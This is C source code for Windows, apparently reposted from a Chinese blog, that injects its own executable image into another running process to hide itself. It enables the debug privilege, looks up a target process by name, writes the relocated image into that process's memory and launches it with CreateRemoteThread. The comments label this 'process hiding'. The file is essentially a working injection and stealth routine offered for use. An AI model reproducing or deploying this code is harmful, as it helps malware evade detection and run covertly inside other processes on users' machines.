#include "stdio.h"
#include "windows.h"

#ifdef _DEBUG
#define MsgBox(lpText)         MessageBox(NULL,lpText,NULL,NULL)
#else
#define MsgBox(lpText)
#endif

#define LOAD_BASE_ADDR 0x03140000
#define SIZE_OF_NT_SIGNATURE (sizeof(DWORD))
#define OPTHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE+sizeof(IMAGE_FILE_HEADER)))

typedef BOOL (WINAPI* p_EnumProcesses )(DWORD * lpidProcess,DWORD   cb,  DWORD * cbNeeded   );//定义一个函数指针
typedef BOOL (WINAPI* p_EnumProcessModules )( HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded );
typedef DWORD (WINAPI* p_GetModuleBaseName) ( HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize );



HMODULE m_module;
BOOL m_bIsWinNT;


////////////////////////
//获取系统版本
///////////////////////
void GetOSVersion(void)
{
        OSVERSIONINFO osvi;
        osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
        if(GetVersionEx(&osvi)==FALSE) {
                MsgBox("Unable to get version info GetOSVersion()");
        }
        if(osvi.dwPlatformId==VER_PLATFORM_WIN32s) {
                MsgBox("This application does not run under WIN32s!");
        }
        if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT) 
                m_bIsWinNT = 1;
        else 
                m_bIsWinNT = 0;
}

////////////////////////
//初始化
////////////////////////
void Init()
{
        GetOSVersion();
        m_module=GetModuleHandle(NULL);
}

//////////////////////////////
//通过名称获取进程ID
//////////////////////////////
long GetNTProcessIDbyName(char *szName)
{
        
        if((!m_bIsWinNT)||(!szName))
                return -1;        

        HMODULE hModule=LoadLibrary("psapi.dll");

        if(hModule==NULL)
                return -1;
        p_EnumProcesses pEnumProcesses=(p_EnumProcesses)GetProcAddress(hModule,"EnumProcesses");
        p_EnumProcessModules pEnumProcessModules=(p_EnumProcessModules)GetProcAddress(hModule,"EnumProcessModules");
        p_GetModuleBaseName pGetModuleBaseName=(p_GetModuleBaseName)GetProcAddress(hModule,"GetModuleBaseNameA");

        DWORD aProcesses[1024], cbNeeded, cProcesses;
    unsigned int i;
    if ( !pEnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
        return -1;
    
    cProcesses = cbNeeded / sizeof(DWORD);
    
    for ( i = 0; i < cProcesses; i++ )
        {
                char szProcessName[MAX_PATH] = "";
                
                HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
                                                                           PROCESS_VM_READ,
                                                                           FALSE, aProcesses[i] );
                
                if ( hProcess )
                {
                        HMODULE hMod;
                        DWORD cbNeeded;
                        if ( pEnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
                        {
                                pGetModuleBaseName( hProcess, hMod, szProcessName, MAX_PATH );
                                if(_stricmp(szName,szProcessName)==0)
                                {
                                        CloseHandle (hProcess);
                                        return aProcesses[i];
                                }
                                
                        }
                        CloseHandle (hProcess);
                }
        }
        return -1;
}


/////////////////////////////
//提权
/////////////////////////////
BOOL EnableDebugPriv()
{
        HANDLE hToken;
        LUID sedebugnameValue;
        TOKEN_PRIVILEGES tkp;


        if ( ! OpenProcessToken( GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
        {
                MsgBox("OPT() failed");
                return FALSE;
        }

        if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
        {
                MsgBox("LPV() failed");
                CloseHandle( hToken );
                return FALSE;
        }


        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Luid = sedebugnameValue;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;


        if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
        {
                MsgBox("ATP() failed");
                CloseHandle( hToken );
                return FALSE;
        }
        CloseHandle( hToken );
        return TRUE;
}


/////////////////////////////////////
//锁定
/////////////////////////////////////
BOOL FixRelocationTable(char *szBuf, long lLen,unsigned long lMyBase,unsigned long lNewBase)
{

        DWORD lAdd=lNewBase-lMyBase;
        IMAGE_DOS_HEADER *ppeDosHead=(IMAGE_DOS_HEADER *)szBuf;//dos head
        IMAGE_NT_HEADERS32 *ppeHead=(IMAGE_NT_HEADERS32 *)(szBuf+ppeDosHead->e_lfanew);//PE head
        ppeHead->OptionalHeader.ImageBase=lNewBase;

        
        char* p=ppeHead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress+szBuf;
        IMAGE_RELOCATION* relocblock=(IMAGE_RELOCATION*)(p);
        
        ppeHead->OptionalHeader.ImageBase=lNewBase;
        while(relocblock->VirtualAddress)
        {
                void* page  = (void *)((UINT)szBuf + (UINT)relocblock->VirtualAddress);
        long count = (relocblock->SymbolTableIndex - 8)/2;
        for(int i=0; i<count; i++) {
                        int n=*((WORD*)((char*)(&relocblock->Type)+i*sizeof(WORD)));
            int offset = n & 0xFFF;
            int type   = n >> 12;
                        //---------------------------
                        long test =(long)(char*)page+offset;
                        test-=(long)szBuf;
                        test+=lNewBase;
                        char szMsg[200];
                        sprintf(szMsg,"point->0X%X   sozeofblock %d=0x%X",test,count,count);

            switch(type) {
                case IMAGE_REL_BASED_ABSOLUTE: 
                
                    break;
                case IMAGE_REL_BASED_HIGH:
                    *(UINT *)((UINT)page+offset) += HIWORD(lAdd);
                    break;
                case IMAGE_REL_BASED_LOW:
                    *(UINT *)((UINT)page+offset) += LOWORD(lAdd);
                    break;
                case IMAGE_REL_BASED_HIGHLOW:
                    *(UINT *)((UINT)page+offset) += lAdd;

                    break;
                default:

                    break;
            }
        }
                relocblock = (IMAGE_RELOCATION *)((BYTE *)relocblock + 
                     relocblock->SymbolTableIndex);
        }
        return TRUE;
}


/////////////////////////////////////
//隐藏进程
/////////////////////////////////////
BOOL HideProcessInNTbyID(unsigned long lProcessID,LPTHREAD_START_ROUTINE pMyMainProcess)
{
        if(lProcessID==-1)
                return FALSE;
        
        if(GetCurrentProcessId()==lProcessID)
                return FALSE;

        HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,lProcessID);
        
        if(hProc==NULL) 
                return FALSE;
        HMODULE lnewModule=(HMODULE) LOAD_BASE_ADDR;

        DWORD dwSize=((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(m_module))->SizeOfImage;

        char *pMem=NULL;
        int x=0;
        while((pMem=(char *)VirtualAllocEx(hProc,lnewModule,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE))==NULL)
        {
                lnewModule-=1024;//one page??
                if(((unsigned long)lnewModule)<0x10000)
                        return FALSE;//没有希望了
                x=GetLastError();
        }
        //pMem=(char *)VirtualAllocEx(hProc,lnewModule,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
        if(pMem==NULL) 
        {
                MsgBox("VirtualAllocEx Error,多次分配后失敗");
                        return FALSE;
        }
        
        char szMsg[200];
        if((long)pMem!=LOAD_BASE_ADDR)
        {
                sprintf(szMsg,"old model=0X%X; new model=0X%X,pMem=0X%X; 多次分配后成功!",m_module,lnewModule,pMem);
                MsgBox(szMsg);
        }
        else
        {
                sprintf(szMsg,"old model=0X%X; new model=0X%X,pMem=0X%X; 一次分配成功!",m_module,lnewModule,pMem);
                MsgBox(szMsg);
        }

        if((long)pMem!=(long)lnewModule)
        {
                lnewModule=(HMODULE)pMem;
                MsgBox("(pMem!=lnewModule)");
        }

        DWORD dwOldProt,dwNumBytes,i;
        MEMORY_BASIC_INFORMATION mbi;
        
        
        char* pMyExeData=new char[dwSize];
        long lMyID=GetCurrentProcessId();
        HANDLE hMyProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,lMyID);
        DWORD dRead;
        ReadProcessMemory(hMyProc,m_module, pMyExeData,dwSize,&dRead);
        
        FixRelocationTable(pMyExeData,dwSize,(unsigned long)m_module,(unsigned long)pMem);
        VirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));

        while(mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) {
                if(!(mbi.Protect & PAGE_GUARD)) {
                        for(i=0;i<mbi.RegionSize;i+=0x1000) {
                                VirtualProtectEx(hProc,pMem+i,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProt);
                                WriteProcessMemory(hProc,pMem+i,pMyExeData+i,0x1000,&dwNumBytes);
                        }
                }
                
                pMem+=mbi.RegionSize;
                VirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));        
        }
    VirtualFreeEx(
  hProc,
  pMem,
  dwSize,
  MEM_DECOMMIT
);

        DWORD dwRmtThdID;

        long l=(char*)lnewModule-(char*)m_module;
        HANDLE hRmtThd=CreateRemoteThread(hProc,NULL,0,
                (LPTHREAD_START_ROUTINE)((long)pMyMainProcess+(long)l),
                (LPVOID)lnewModule,0,&dwRmtThdID);
        if(hRmtThd==NULL) {
                MsgBox("Could create remote thread error!");
                return FALSE;
        }
        CloseHandle(hProc);
        return TRUE;
}

//隐藏
BOOL HideProcessInNT(char *szRemoteProcess,LPTHREAD_START_ROUTINE pMyMainProcess)
{
        unsigned long lProcessID=GetNTProcessIDbyName(szRemoteProcess);
        return HideProcessInNTbyID(lProcessID,pMyMainProcess);
}


BOOL HideProcessIn(char *szRemoteProcess,LPTHREAD_START_ROUTINE pMyMainProcess)
{
        EnableDebugPriv();
        if(m_bIsWinNT)
        {
        
                return HideProcessInNT(szRemoteProcess,pMyMainProcess);
        
        }

        return TRUE;
}

DWORD WINAPI MyNtRemoteThreadMain(LPVOID lpParameter)
{
        MsgBox("进程隐藏成功");
        return 0;
        
}


int main()
{
        
    Init();
        char* szRemoteProcess=new char[20];


        printf("输入要绑定的进程名:");
        scanf("%s",szRemoteProcess);

        if(HideProcessIn(szRemoteProcess,MyNtRemoteThreadMain))
        {
                MsgBox("ok");
        }
        else
        {
                MsgBox("error");
        }

        return 0;
}
版权声明:本文为rogee原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/rogee/archive/2004/01/13/1848814.html